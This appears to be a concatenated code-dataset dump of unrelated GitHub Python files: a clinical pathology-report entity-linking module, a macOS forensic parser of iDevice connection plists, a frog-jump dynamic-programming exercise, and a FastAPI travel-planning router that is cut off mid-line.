fields.\n\n\t\tParams:\n\t\t\tconcepts (dict): dict of identified ontology concepts {semantic_area: [iri, mention, label], ...}\n\t\t\ttissue (str): examined tissue\n\t\t\tprocedure (str): procedure performed\n\t\t\tshorts (list(str)): diagnosis summary\n\n\t\tReturn: updated dict of identified ontology concepts {semantic_area: [iri, mention, label], ...}\n\t\t\"\"\"\n\t\tnew_concepts = dict()\n\t\t# Copy test, procedure and anatomical locations concepts already extracted\n\t\tnew_concepts['Test'] = copy.deepcopy(concepts['Test'])\n\t\tnew_concepts['Anatomical Location'] = copy.deepcopy(concepts['Anatomical Location'])\n\t\tnew_concepts['Procedure'] = copy.deepcopy(concepts['Procedure'])\n\t\tnew_concepts['Diagnosis'] = []\n\n\t\t# Check for additional information about anatomical location in 'tissue' field\n\t\tif tissue != '':\n\t\t\tnew_concepts['Anatomical Location'] = self.link_additional_locations(new_concepts['Anatomical Location'], tissue)\n\n\t\t# Check for additional information about procedure in 'procedure' field\n\t\tif procedure != '':\n\t\t\tnew_concepts = self.link_additional_procedures(new_concepts, procedure)\n\n\t\t# Check for additional information about diagnosis in 'short' field\n\t\tif len(shorts) > 0:\n\t\t\t# Check diagnosis concepts already extracted\n\t\t\tnegative, celiac, duodenitis = 0, 0, 0\n\t\t\tceliac_property, duodenitis_property = [], []\n\t\t\tfor diagnosis in concepts['Diagnosis']:\n\t\t\t\tif 'negative result' == diagnosis[1]: # concept refers to 'negative result'\n\t\t\t\t\tnegative = 1\n\t\t\t\t\tdiagnosis_concept = diagnosis\n\t\t\t\telif 'positive to celiac disease' == diagnosis[1]: # concept refers to 'positive to celiac disease'\n\t\t\t\t\tceliac = 1\n\t\t\t\t\tdiagnosis_concept = diagnosis\n\t\t\t\t\tceliac_property = [diagnosis for diagnosis in concepts['Diagnosis'] if diagnosis[1] ==\n\t\t\t\t\t\t\t\t\t 'modified Marsh classification of histologic findings in celiac disease']\n\t\t\t\telif 'duodenitis' == diagnosis[1]: # concept refers to 'duodenitis'\n\t\t\t\t\tduodenitis = 1\n\t\t\t\t\tdiagnosis_concept = diagnosis\n\t\t\t\t\tduodenitis_property = [diagnosis for diagnosis in concepts['Diagnosis'] if diagnosis[1] ==\n\t\t\t\t\t\t\t\t\t 'duodenitis severity']\n\t\t\t\telif diagnosis[1] not in ['modified Marsh classification of histologic findings in celiac disease', 'duodenitis severity']:\n\t\t\t\t\t# concept does not refer to outcome, append it\n\t\t\t\t\tnew_concepts['Diagnosis'].append(diagnosis)\n\t\t\tif any(short in ['celiac disease', 'no abnormalities'] for short in shorts):\n\t\t\t\tif any('celiac' in short for short in shorts):\n\t\t\t\t\tnew_concepts['Diagnosis'].append(['https://w3id.org/examode/ontology/PositiveToCeliacDisease',\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'Positive to Celiac Disease'])\n\t\t\t\t\tif celiac == 1 and len(celiac_property) > 0:\n\t\t\t\t\t\tnew_concepts['Diagnosis'].append(celiac_property[0])\n\t\t\t\tif any('no abnormalities' in short for short in shorts):\n\t\t\t\t\t# Negative result\n\t\t\t\t\tnew_concepts['Diagnosis'].append(['https://w3id.org/examode/ontology/NegativeResult',\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'Negative Result'])\n\t\t\telif any('dubious' in short for short in shorts) and all(short not in ['celiac disease', 'no abnormalities'] for short in shorts):\n\t\t\t\tif sum([negative, celiac, duodenitis]) == 0:\n\t\t\t\t\t# Set to inconclusive outcome\n\t\t\t\t\tnew_concepts['Diagnosis'].append(['https://w3id.org/examode/ontology/InconclusiveOutcome',\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'Inconclusive Outcome'])\n\t\t\t\telse:\n\t\t\t\t\t# Keep diagnosis outcome as it is\n\t\t\t\t\tnew_concepts['Diagnosis'].append(diagnosis_concept)\n\t\t\t\t\t# Add data properties, if present\n\t\t\t\t\tif celiac == 1 and len(celiac_property) > 0:\n\t\t\t\t\t\tnew_concepts['Diagnosis'].append(celiac_property[0])\n\t\t\t\t\tif duodenitis == 1 and len(duodenitis_property) > 0:\n\t\t\t\t\t\tnew_concepts['Diagnosis'].append(duodenitis_property[0])\n\t\t\telif sum([negative, celiac, duodenitis]) == 1:\n\t\t\t\t# Keep diagnosis outcome as it is\n\t\t\t\tnew_concepts['Diagnosis'].append(diagnosis_concept)\n\t\t\t\t# Add data properties, if present\n\t\t\t\tif celiac == 1 and len(celiac_property) > 0:\n\t\t\t\t\tnew_concepts['Diagnosis'].append(celiac_property[0])\n\t\t\t\tif duodenitis == 1 and len(duodenitis_property) > 0:\n\t\t\t\t\tnew_concepts['Diagnosis'].append(duodenitis_property[0])\n\t\t\tif len(shorts) > 0:\n\t\t\t\tnew_concepts['Diagnosis'] = self.link_additional_diagnoses(new_concepts['Diagnosis'], shorts)\n\t\t# Remove duplicates\n\t\tfor sem_area in new_concepts.keys():\n\t\t\tnew_concepts[sem_area] = [list(tpl) for tpl in list(dict.fromkeys(tuple(cpt) for cpt in new_concepts[sem_area]))]\n\t\treturn new_concepts\n\n\t@staticmethod\n\tdef link_additional_locations(anatomical_locations, tissue):\n\t\t\"\"\"\n\t\tLink additional anatomical location concepts based on 'tissue' field value.\n\n\t\tParams:\n\t\t\tanatomical_locations (list(str)): anatomical locations concepts already extracted\n\t\t\ttissue (str): examined tissue\n\n\t\tReturn: updated list of identified anatomical locations concepts\n\t\t\"\"\"\n\t\tif tissue == 'duodenum':\n\t\t\tanatomical_locations.append(\n\t\t\t\t\t['http://purl.obolibrary.org/obo/UBERON_0002114', 'Duodenum'])\n\t\tif tissue == 'duodenal bulb':\n\t\t\tanatomical_locations.append(\n\t\t\t\t['http://purl.obolibrary.org/obo/UBERON_0013644', 'Duodenal Ampulla'])\n\t\tif tissue == 'stomach':\n\t\t\tanatomical_locations.append(\n\t\t\t\t\t['http://purl.obolibrary.org/obo/UBERON_0001164', 'Greater Curvature of Stomach'])\n\t\treturn anatomical_locations\n\n\t@staticmethod\n\tdef link_additional_procedures(concepts, procedure):\n\t\t\"\"\"\n\t\tLink additional procedures or anatomical locations based on 'procedure' field value.\n\n\t\tParams:\n\t\t\tconcepts (dict): dict of identified ontology concepts {semantic_area: [iri, mention, label], ...}\n\t\t\tprocedure (str): procedure performed\n\n\t\tReturn: updated dict of identified ontology concepts {semantic_area: [iri, mention, label], ...}\n\t\t\"\"\"\n\t\tif procedure in ['biopsy', 'duodenum']:\n\t\t\tconcepts['Procedure'].append(['http://purl.obolibrary.org/obo/NCIT_C51683', 'Biopsy of Duodenum'])\n\t\t\tconcepts['Anatomical Location'].append(\n\t\t\t\t['http://purl.obolibrary.org/obo/UBERON_0002114', 'Duodenum'])\n\t\tif procedure == 'duodenal bulb':\n\t\t\tconcepts['Anatomical Location'].append(\n\t\t\t\t['http://purl.obolibrary.org/obo/UBERON_0013644', 'Duodenal Ampulla'])\n\t\t\tconcepts['Procedure'].append(\n\t\t\t\t\t['http://purl.obolibrary.org/obo/NCIT_C51683', 'Biopsy of Duodenum'])\n\t\tif procedure == 'small intestine':\n\t\t\tconcepts['Procedure'].append(\n\t\t\t\t['http://purl.obolibrary.org/obo/NCIT_C51600', 'Biopsy of Small Intestine'])\n\t\t\tconcepts['Anatomical Location'].append(\n\t\t\t\t['http://purl.obolibrary.org/obo/UBERON_0002108', 'Small Intestine'])\n\t\tif procedure == 'jejunum':\n\t\t\tconcepts['Procedure'].append(['http://purl.obolibrary.org/obo/NCIT_C51902', 'Biopsy of Jejunum'])\n\t\t\tconcepts['Anatomical Location'].append(\n\t\t\t\t['http://purl.obolibrary.org/obo/UBERON_0002115', 'Jejunum'])\n\t\tif procedure == 'stomach':\n\t\t\tconcepts['Procedure'].append(\n\t\t\t\t['https://w3id.org/examode/ontology/GeaterCurvatureBiopsy', 'Biopsy of the Greater Curvature'])\n\t\t\tconcepts['Anatomical Location'].append(\n\t\t\t\t['http://purl.obolibrary.org/obo/UBERON_0001164', 'Greater Curvature of Stomach'])\n\t\treturn concepts\n\n\t@staticmethod\n\tdef link_additional_diagnoses(diagnoses, shorts):\n\t\t\"\"\"\n\t\tlink additional diagnosis concepts based on 'short' fields value.\n\n\t\tParams:\n\t\t\tdiagnoses (list(str)): list of diagnosis concepts already extracted\n\t\t\tshorts (list(str)): diagnosis summary\n\n\t\tReturn: updated list of identified diagnosis concepts\n\t\t\"\"\"\n\t\tfor short in shorts:\n\t\t\tif short == 'atrophy':\n\t\t\t\tdiagnoses.append(['https://w3id.org/examode/ontology/glandularAtrophy', 'Glandular Atrophy'])\n\t\t\tif 'inflammation' in short: # 'inflammation' in short\n\t\t\t\tif short == 'inflammation' and len(\n\t\t\t\t\t\t[diagnosis for diagnosis in diagnoses if 'inflammation' in diagnosis[1].lower()]) == 0:\n\t\t\t\t\tdiagnoses.append(['http://purl.obolibrary.org/obo/NCIT_C3137', 'Inflammation'])\n\t\t\t\telif 'active' in short or 'acute' in short:\n\t\t\t\t\tdiagnoses.append(['http://purl.obolibrary.org/obo/NCIT_C82901', 'Chronic Active Inflammation'])\n\t\t\t\telif 'chronic' in short and 'chronic active inflammation' not in [diagnosis[1].lower() for diagnosis in diagnoses]:\n\t\t\t\t\tdiagnoses.append(['http://purl.obolibrary.org/obo/NCIT_C174450', 'Chronic Inflammation'])\n\t\t\tif 'lymphocyte' in short: # 'lymphocyte' in short\n\t\t\t\tdiagnoses.append(['http://purl.obolibrary.org/obo/NCIT_C12535', 'Lymphocyte'])\n\t\t\tif 'metaplasia' in short: # 'metaplasia' in short\n\t\t\t\tif 'gastric' in short:\n\t\t\t\t\tdiagnoses.append(['http://purl.obolibrary.org/obo/NCIT_C8361', 'Gastric Metaplasia'])\n\t\t\t\telse:\n\t\t\t\t\tdiagnoses.append(['http://purl.obolibrary.org/obo/NCIT_C8360', 'Intestinal Metaplasia'])\n\t\t\tif short == 'villi atrophy':\n\t\t\t\tdiagnoses.append(['https://w3id.org/examode/ontology/villiAtrophy', 'villi degree of atrophy', 'not specified'])\n\t\t\tif 'esoniphil' in short:\n\t\t\t\tdiagnoses.append(['http://purl.obolibrary.org/obo/NCIT_C12532', 'Eosinophil'])\n\t\t\tif 'edema' in short:\n\t\t\t\tdiagnoses.append(['http://purl.obolibrary.org/obo/NCIT_C3002', 'Edema'])\n\t\t\tif 'erosion' in short:\n\t\t\t\tdiagnoses.append(['http://purl.obolibrary.org/obo/NCIT_C50443', 'Erosion'])\n\t\treturn diagnoses\n\n\t# ONTOLOGY-RELATED FUNCTIONS\n\n\tdef process_ontology_concepts(self, labels):\n\t\t\"\"\"\n\t\tProcess ontology labels using scispaCy\n\n\t\tParams:\n\t\t\tlabels (list): list of concept labels\n\n\t\tReturns: a list/dict of processed concept labels\n\t\t\"\"\"\n\n\t\tproc_labels = []\n\t\tif self.biow2v or self.gpm or self.biofast_model: # process onto concepts for biow2v, gpm, and biofast\n\t\t\tproc_labels.append([self.nlp(label) for label in labels])\n\n\t\tif self.bert_model: # process onto concepts for BERT\n\t\t\ttokens = utils.assign_gpu(self.bert_tokenizer(labels, return_tensors=\"pt\", padding=True), self.gpu) # get tokens w/ padding\n\t\t\tembs = self.bert_model(**tokens)[0] # get BERT last layer hidden states\n\t\t\texp_attention_mask = tokens['attention_mask'].unsqueeze(-1).expand(embs.size()) # broadcast attention mask to embs.size\n\t\t\tpooled_embs = torch.sum(embs * exp_attention_mask, 1) / exp_attention_mask.sum(1) # compute pooling to obtain label embeddings -- exp_attention_mask compute proper average (no [PAD])\n\t\t\tproc_labels.append([pooled_embs[ix].cpu().detach().numpy() for ix, label in enumerate(labels)])\n\n\t\tif len(proc_labels) == 2:\n\t\t\treturn {label: [proc_labels[0][i], proc_labels[1][i]] for i, label in enumerate(labels)}\n\t\telif len(proc_labels) == 1:\n\t\t\treturn {label: [proc_labels[0][i]] for i, label in enumerate(labels)}\n\t\telse: # raise exception\n\t\t\tprint('No semantic matching method selected.\\nPlease select any combination of: \"biow2v\", \"str_match\", \"biofast\", and \"biobert\"')\n\t\t\traise Exception\n\n\t@staticmethod\n\tdef lookup_snomed_codes(snomed_codes, use_case_ontology):\n\t\t\"\"\"\n\t\tLookup for ontology concepts associated to target SNOMED codes\n\n\t\tParams:\n\t\t\tsnomed_codes (list(str)/str): target SNOMED codes\n\t\t\tuse_case_ontology (pandas DataFrame): reference ontology restricted to the use case considered\n\n\t\tReturns: a dict of identified ontology concepts {semantic_area: [iri, label], ...}\n\t\t\"\"\"\n\t\t\n\t\tlookups = {area: [] for area in set(use_case_ontology['semantic_area_label'].tolist()) if area is not None}\n\t\tif type(snomed_codes) == list: # search for list of snomed codes\n\t\t\tsnomed_codes = [code for code in snomed_codes if code]\n\t\t\tif snomed_codes:\n\t\t\t\tlinked_data = use_case_ontology.loc[use_case_ontology['SNOMED'].isin(snomed_codes)][['iri', 'label', 'semantic_area_label']]\n\t\t\t\tif not linked_data.empty: # matches found within ontology\n\t\t\t\t\tfor linked_datum in linked_data.values.tolist():\n\t\t\t\t\t\tlookups[str(linked_datum[2])].append([linked_datum[0], linked_datum[1]])\n\t\t\treturn lookups\n\t\telse: # search for single snomed code\n\t\t\tif snomed_codes:\n\t\t\t\tlinked_data = use_case_ontology.loc[use_case_ontology['SNOMED'] == snomed_codes][['iri', 'label', 'semantic_area_label']]\n\t\t\t\tif not linked_data.empty: # match found within ontology\n\t\t\t\t\tlinked_datum = linked_data.values[0].tolist()\n\t\t\t\t\tlookups[str(linked_datum[2])].append([linked_datum[0], linked_datum[1]])\n\t\t\treturn lookups\n\n\t# AOEC SPECIFIC FUNCTIONS\n\n\tdef aoec_entity_linking(self, reports, onto_proc, use_case_ontology, labels, use_case, sim_thr=0.7, raw=False, debug=False):\n\t\t\"\"\"\n\t\tPerform entity linking over translated AOEC reports\n\t\t\n\t\tParams:\n\t\t\treports (dict): target reports\n\t\t\tonto_proc (OntologyProc): instance of OntologyProc class\n\t\t\tuse_case_ontology (pandas.core.frame.DataFrame): ontology data restricted to given use case\n\t\t\tlabels (list(spacy.tokens.doc.Doc)): list of processed ontology concepts\n\t\t\tuse_case (str): the use_case considered - i.e. colon, lung, cervix, or celiac\n\t\t\tsim_thr (float): keep candidates with sim score greater than or equal to sim_thr\n\t\t\traw (bool): whether to return concepts within semantic areas or mentions+concepts\n\t\t\tdebug (bool): whether to keep flags for debugging\n\t\t\t\n\t\tReturns: a dict containing the linked concepts for each report w/o distinction between 'nlp' and 'struct' concepts\n\t\t\"\"\"\n\t\t\n\t\tconcepts = dict()\n\t\t# loop over AOEC reports and perform linking\n\t\tfor rid, rdata in tqdm(reports.items()):\n\t\t\t# sanitize diagnosis\n\t\t\tdiagnosis = utils.en_sanitize_record(rdata['diagnosis_nlp'], use_case)\n\t\t\t# extract entity mentions from diagnosis\n\t\t\tdiagnosis = self.extract_entity_mentions(diagnosis)\n\t\t\tif 'materials' in rdata:\n\t\t\t\t# sanitize materials\n\t\t\t\tmaterials = utils.en_sanitize_record(rdata['materials'], use_case)\n\t\t\t\tif use_case == 'colon': # consider 'polyp' as a stopwords in materials @smarchesin TODO: what about the other use cases?\n\t\t\t\t\tmaterials = re.sub('polyp[s]?(\\s|$)+', ' ', materials)\n\t\t\t\t# extract entity mentions from materials\n\t\t\t\tmaterials = self.extract_entity_mentions(materials)\n\n\t\t\t\t# combine diagnosis and materials mentions\n\t\t\t\tmentions = diagnosis + materials\n\t\t\telse:\n\t\t\t\t# no materials available\n\t\t\t\tmentions = diagnosis\n\t\t\t# link and store 'nlp' concepts\n\t\t\tnlp_concepts = self.link_mentions_to_concepts(use_case, mentions, labels, use_case_ontology, sim_thr, raw, debug)\n\t\t\tif raw: # keep 'nlp' concepts for debugging purposes\n\t\t\t\tconcepts[rid] = dict()\n\t\t\t\tconcepts[rid] = nlp_concepts\n\t\t\telse: # merge 'nlp' and 'struct' concepts\n\t\t\t\t# link and store 'struct' concepts\n\t\t\t\tstruct_concepts = self.lookup_snomed_codes(\n\t\t\t\t\tutils.sanitize_codes(rdata['diagnosis_struct']) +\n\t\t\t\t\tutils.sanitize_codes(rdata['procedure']) +\n\t\t\t\t\tutils.sanitize_codes(rdata['topography']), use_case_ontology)\n\t\t\t\tif use_case == 'celiac' and len(nlp_concepts) > 0:\n\t\t\t\t\tconcepts[rid] = dict()\n\t\t\t\t\tconcepts[rid] = onto_proc.merge_nlp_and_struct(nlp_concepts, struct_concepts)\n\t\t\t\t\t# Remove duplicates, if any\n\t\t\t\t\tfor sem_area in concepts[rid].keys():\n\t\t\t\t\t\tconcepts[rid][sem_area] = [list(tpl) for tpl in list(dict.fromkeys(tuple(cpt) for cpt in concepts[rid][sem_area]))]\n\t\t\t\t\tconcepts[rid]['Diagnosis'] = self.check_inconclusive_outcomes(concepts[rid]['Diagnosis'])\n\t\t\t\telse:\n\t\t\t\t\tconcepts[rid] = dict()\n\t\t\t\t\tconcepts[rid] = onto_proc.merge_nlp_and_struct(nlp_concepts, struct_concepts)\n\n\t\t# return concepts\n\t\treturn concepts\n\n\t# RADBOUD SPECIFIC FUNCTIONS\n\n\tdef radboud_entity_linking(self, reports, use_case_ontology, labels, use_case, sim_thr=0.7, raw=False, debug=False):\n\t\t\"\"\"\n\t\tPerform entity linking over translated and processed Radboud reports\n\n\t\tParams:\n\t\t\treports (dict): target reports \n\t\t\tuse_case_ontology (pandas.core.frame.DataFrame): ontology data restricted to given use case\n\t\t\tlabels (list(spacy.tokens.doc.Doc)): list of processed ontology concepts\n\t\t\tuse_case (str): the use_case considered - i.e. colon, lung, cervix, or celiac\n\t\t\tsim_thr (float): keep candidates with sim score greater than or equal to sim_thr\n\t\t\traw (bool): whether to return concepts within semantic areas or mentions+concepts\n\t\t\tdebug (bool): whether to keep flags for debugging\n\n\t\tReturns: a dict containing the linked concepts for each report w/ list of associated slides\n\t\t\"\"\"\n\t\t\n\t\tconcepts = dict()\n\t\t# loop over Radboud processed reports and perform linking\n\t\tfor rid, rdata in tqdm(reports.items()):\n\t\t\tconcepts[rid] = dict()\n\t\t\t# extract entity mentions from conclusions\n\t\t\tmentions = self.extract_entity_mentions(utils.en_sanitize_record(rdata['diagnosis'], use_case))\n\t\t\t# link and store concepts from conclusions\n\t\t\tnlp_concepts = self.link_mentions_to_concepts(use_case, mentions, labels, use_case_ontology, sim_thr, raw, debug)\n\t\t\tif use_case == 'celiac' and len(nlp_concepts) > 0:\n\t\t\t\tnlp_concepts = self.celiac_additional_concepts(nlp_concepts, utils.en_sanitize_record(rdata['tissue'], use_case),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t utils.en_sanitize_record(rdata['procedure'], use_case),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t [utils.en_sanitize_record(short, use_case) for short in rdata['short']])\n\t\t\t# assign conclusion concepts to concepts dict\n\t\t\tconcepts[rid] = nlp_concepts\n\t\t\t# assign slide ids to concepts dict if present\n\t\t\tif 'slide_ids' in rdata:\n\t\t\t\tconcepts[rid]['slide_ids'] = rdata['slide_ids']\n\n\t\t# return linked concepts divided per diagnosis\n\t\treturn concepts\n\n\t# GENERAL-PURPOSE FUNCTIONS\n\n\tdef entity_linking(self, reports, use_case_ontology, labels, use_case, sim_thr=0.7, raw=False, debug=False):\n\t\t\"\"\"\n\t\tPerform entity linking over translated and processed reports\n\n\t\tParams:\n\t\t\treports (dict): target reports\n\t\t\tuse_case_ontology (pandas.core.frame.DataFrame): ontology data restricted to given use case\n\t\t\tlabels (list(spacy.tokens.doc.Doc)): list of processed ontology concepts\n\t\t\tuse_case (str): the use_case considered - i.e. colon, lung, cervix, or celiac\n\t\t\tsim_thr (float): keep candidates with sim score greater than or equal to sim_thr\n\t\t\traw (bool): whether to return concepts within semantic areas or mentions+concepts\n\t\t\tdebug (bool): whether to keep flags for debugging\n\n\t\tReturns: a dict containing the linked concepts for each report\n\t\t\"\"\"\n\n\t\tconcepts = dict()\n\t\t# loop over translated and processed reports and perform linking\n\t\tfor rid, rdata in tqdm(reports.items()):\n\t\t\t# extract entity mentions from text\n\t\t\tmentions = self.extract_entity_mentions(utils.en_sanitize_record(rdata['text'], use_case))\n\t\t\t# link and store concepts from text\n\t\t\tnlp_concepts = self.link_mentions_to_concepts(use_case, mentions, labels, use_case_ontology, sim_thr, raw, debug)\n\t\t\tif raw or use_case != 'celiac':\n\t\t\t\tconcepts[rid] = dict()\n\t\t\t\tconcepts[rid] = nlp_concepts\n\t\t\telif len(nlp_concepts) > 0:\n\t\t\t\t# reports unrelated to celiac disease return an empty list of concepts, discard them\n\t\t\t\tconcepts[rid] = dict()\n\t\t\t\tconcepts[rid] = nlp_concepts\n\t\t# return concepts divided per diagnosis\n\t\treturn concepts\n","repo_name":"ExaNLP/sket","sub_path":"sket/nerd/nerd.py","file_name":"nerd.py","file_ext":"py","file_size_in_byte":114903,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"32"} +{"seq_id":"6601572819","text":"import os\nimport plistlib\n\nfrom scripts.artifact_report import ArtifactHtmlReport\nfrom scripts.macCocktail_functions import logdevinfo, tsv, getUserList \n\ndef get_iDeviceConnections(macos_version, report_folder, input_path):\n\n# define artifact locations\n user_dir = \"/Users/\"\n connections_path = \"/Library/Preferences/com.apple.iPod.plist\"\n user_path = input_path + \"/private/var/db/dslocal/nodes/Default/users/\"\n\n# check for valid artifact locations\n artifact_success = 1\n if not os.path.exists(user_path):\n artifact_success = 0\n return artifact_success\n\n# get user accounts\n user_list = getUserList(user_path)\n connected_list = []\n for i in user_list:\n connected_list.append(input_path + user_dir + i + connections_path)\n\n# define container for results \n data_list = []\n\n# get details for each connection\n for k in connected_list:\n if os.path.exists(k):\n with open(k, \"rb\") as fp:\n connections_plist = plistlib.load(fp)\n for key, val in connections_plist.items():\n if key == \"Devices\":\n for i in val:\n device_id = i\n attributes = val[i]\n imei = \" \"\n device_class = \" \"\n serial_number = \" \"\n use_count = \" \"\n product_type = \" \"\n ios_version = \" \"\n last_connected = \" \"\n for j in attributes:\n if j == \"Device Class\":\n device_class = attributes[j]\n elif j == \"Serial Number\":\n serial_number = attributes[j]\n elif j == \"IMEI\":\n imei = attributes[j]\n elif j == \"Use Count\":\n use_count = attributes[j]\n elif j == \"Product Type\":\n product_type = attributes[j]\n elif j == \"Firmware Version String\":\n ios_version = attributes[j]\n elif j == \"Connected\":\n last_connected = attributes[j]\n last_connected = last_connected.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n user = k.split(\"/\")\n\n data_list.append((user[-4],device_id,device_class,serial_number,ios_version,imei, \\\n product_type,use_count,last_connected)) \n \n# set up report items\n artifacts = input_path + user_dir + \"*users*\" + connections_path\n\n# write HTML report items \n report = ArtifactHtmlReport('iDevice Connections')\n report.start_artifact_report(report_folder, 'iDevice Connections')\n report.add_script()\n data_headers = ('User','Device ID','Device Class','Serial Number','iOS Version','IMEI','Product Type', \\\n 'Use Count','Last Connected')\n report.write_artifact_data_table(data_headers, data_list, artifacts)\n report.end_artifact_report()\n\n# write TSV report items \n tsvname = 'iDevice Connections'\n tsv(report_folder, data_headers, data_list, tsvname)\n\n return artifact_success\n \n","repo_name":"cocktail-forensics/macCocktail","sub_path":"scripts/artifacts/iDeviceConnections.py","file_name":"iDeviceConnections.py","file_ext":"py","file_size_in_byte":3513,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"6057665578","text":"def frog_problem(n):\n if n >= 2:\n return frog_problem(n-1) + frog_problem(n-2)\n else:\n return 1\n\nprint(frog_problem(11))\n\n\ndef frog_bottom_up(n):\n first = 1\n second = 1\n output = 0\n if n < 2:\n return 1\n\n for i in range(2, n+1):\n output = first + second\n first = second\n second = output\n \n return output\n\nprint(frog_bottom_up(11))\n\n\ndef frog_bottom_up_w_x(n, x):\n if n == 0:\n return 1\n lst = [1]\n for i in range(1, n+1):\n total = 0\n for j in x:\n if i-j >= 0:\n total += lst[i-j]\n lst[i] = total\n return lst[n]","repo_name":"farrellas/leetcode_solutions","sub_path":"frog_problem.py","file_name":"frog_problem.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"44148452757","text":"from datetime import timedelta, datetime\nfrom fastapi import APIRouter, HTTPException, Depends, Header\nfrom fastapi.security import OAuth2PasswordBearer\nfrom haversine import haversine\nfrom passlib.context import CryptContext\nfrom pymongo import MongoClient\nfrom starlette import status\nfrom src.validation.tokenValidation import check_token\nfrom src.config import settings\nfrom src.schema.user_request_response import SignUpRequest, Token, LoginRequest\nfrom typing import Annotated\nfrom src.schema.plan_request_response import plan_schema\nfrom src.transaction import database\nimport random\n\n\nasync def select_p_id():\n my_client = MongoClient(settings.MONGODB_URL,\n username=settings.MONGODB_USER,\n password=settings.MONGODB_PWD,\n authSource=settings.MONGODB_AUTHSOURCE,\n authMechanism=settings.MONGODB_AUTHMECHANISM)\n my_db = my_client[\"touroute\"]\n my_col = my_db[\"plan\"]\n plan_count = my_col.estimated_document_count()\n if plan_count == 0:\n return 0\n latest_b_id = my_col.find({}, {\"_id\": 0, \"p_id\": 1}).sort(\"created_at\", -1).limit(1)\n p_id = latest_b_id[0].get(\"p_id\")\n return int(p_id)+1\n\ndef navigation_algorithm(response_body, request_body):\n short_distance_info = {}\n short_distance = float('inf')\n\n for x in range(len(request_body)):\n s_point = (float(response_body[-1][\"latitude\"]), float(response_body[-1][\"longitude\"]))\n destination = (float(request_body[x][\"latitude\"]), float(request_body[x][\"longitude\"]))\n distance = haversine(s_point, destination)\n if short_distance > distance:\n short_distance = distance\n short_distance_info = request_body[x]\n\n response_body.append(short_distance_info)\n request_body.remove(short_distance_info)\n\n return response_body, request_body\n\n\nrouter = APIRouter(prefix=\"/plan\")\n\n\n### 맛집이 너무 애매한 위치에 있어서 최대한 디비 트렌잭션 적게 하는 방법으로 해서 코드가 좀 복잡합니다\n### 모든 일정마다 식당이 꼭 들어가야 하는데 맛집이랑 식당이 겹치면 안되니까...\n@router.get(\"/recommand-plan\")\ndef recommandPlan(city: str, theme: str, period: int, token: str = Header(default=None)):\n \n tourPair = {\"restaurant\":\"park\", \"mountain\":\"restaurant\", \"museum\":\"tourspot\", \"park\":\"restaurant\", \"tourspot\":\"restaurant\"}\n dbField = {\"mountain\":\"name\", \"park\":\"sn_addr\",\"restaurant\":\"store_address\",\"museum\":\"rn_addr\",\"tourspot\":\"sn_addr\"}\n check_token(token)\n \n resultList = list()\n \n restaurant = [x for x in database.getData(\"touroute\", \"restaurant\", {dbField[\"restaurant\"]: {\"$regex\": '^'+city}})]\n random.shuffle(restaurant)\n\n if theme == \"restaurant\":\n pairTheme = [x for x in database.getData(\"touroute\", tourPair[theme], {dbField[tourPair[theme]]: {\"$regex\": '^'+city}})]\n random.shuffle(pairTheme)\n\n for i in range(period):\n temp = []\n temp.append(restaurant.pop(0))\n temp.append(restaurant.pop(0))\n temp.append(pairTheme.pop(0))\n\n resultList.append(temp)\n\n \n # return resultList\n\n elif tourPair[theme] == \"restaurant\":\n mainTheme = [x for x in database.getData(\"touroute\", theme, {dbField[theme]: {\"$regex\": '^'+city}})]\n random.shuffle(mainTheme)\n\n for i in range(period):\n temp = []\n temp.append(restaurant.pop(0))\n temp.append(restaurant.pop(0))\n temp.append(mainTheme.pop(0))\n\n resultList.append(temp)\n\n # return resultList\n\n else:\n mainTheme = [x for x in database.getData(\"touroute\", theme, {dbField[theme]: {\"$regex\": '^'+city}})]\n random.shuffle(mainTheme)\n\n subTheme = [x for x in database.getData(\"touroute\", tourPair[theme], {dbField[tourPair[theme]]: {\"$regex\": '^'+city}})]\n random.shuffle(subTheme)\n\n for i in range(period):\n temp = []\n temp.append(mainTheme.pop(0))\n temp.append(restaurant.pop(0))\n temp.append(subTheme.pop(0))\n\n resultList.append(temp)\n\n # return resultList\n\n data_list = []\n\n for x in range(period):\n data_list += resultList[x]\n\n if theme == \"museum\":\n\n other_list = []\n restaurant_list = []\n\n for x in range(len(data_list)):\n if data_list[x][\"category\"] == \"restaurant\":\n restaurant_list.append(data_list[x])\n else:\n other_list.append(data_list[x])\n\n response_body = [other_list[0]]\n other_list = other_list[1:]\n\n while 1:\n\n if len(restaurant_list) == 1 and len(other_list) == 1:\n response_body = response_body + restaurant_list + other_list\n break\n\n response_body, restaurant_list = navigation_algorithm(response_body, restaurant_list)\n\n for x in range(2):\n response_body, other_list = navigation_algorithm(response_body, other_list)\n\n else:\n\n other_list = []\n restaurant_list = []\n\n for x in range(len(data_list)):\n if data_list[x][\"category\"] == \"restaurant\":\n restaurant_list.append(data_list[x])\n else:\n other_list.append(data_list[x])\n\n response_body = [restaurant_list[0]]\n restaurant_list = restaurant_list[1:]\n\n while 1:\n\n if len(restaurant_list) == 1 and len(other_list) == 1:\n response_body = response_body + other_list + restaurant_list\n break\n\n response_body, other_list = navigation_algorithm(response_body, other_list)\n\n for x in range(2):\n response_body, restaurant_list = navigation_algorithm(response_body, restaurant_list)\n\n return [response_body[i:i + 3] for i in range(0, len(response_body), 3)]\n\n\n@router.post(\"/save-plan\")\nasync def savePlan(request: plan_schema, token: str = Header(default=None)):\n res = check_token(token)\n data = list()\n\n insert_body = {\n \"p_id\": await select_p_id(),\n \"city\": request.city,\n \"theme\": request.theme,\n \"period\": request.period,\n \"accompany\": request.accompany,\n \"email\": res,\n \"tourList\": request.tourList,\n \"created_at\": datetime.now()\n }\n\n data.append(insert_body)\n database.insertData(\"touroute\", \"plan\", data)\n\n raise HTTPException(status_code=200, detail=\"여행 계획이 저장 되었습니다.\")\n\n\n@router.get(\"/get-plan/{email}\")\ndef getPlan(token: str = Header(default=None)):\n user_email = check_token(token)\n\n response = database.getData(\"touroute\", \"plan\", {\"email\": user_email})\n\n resultList = [x for 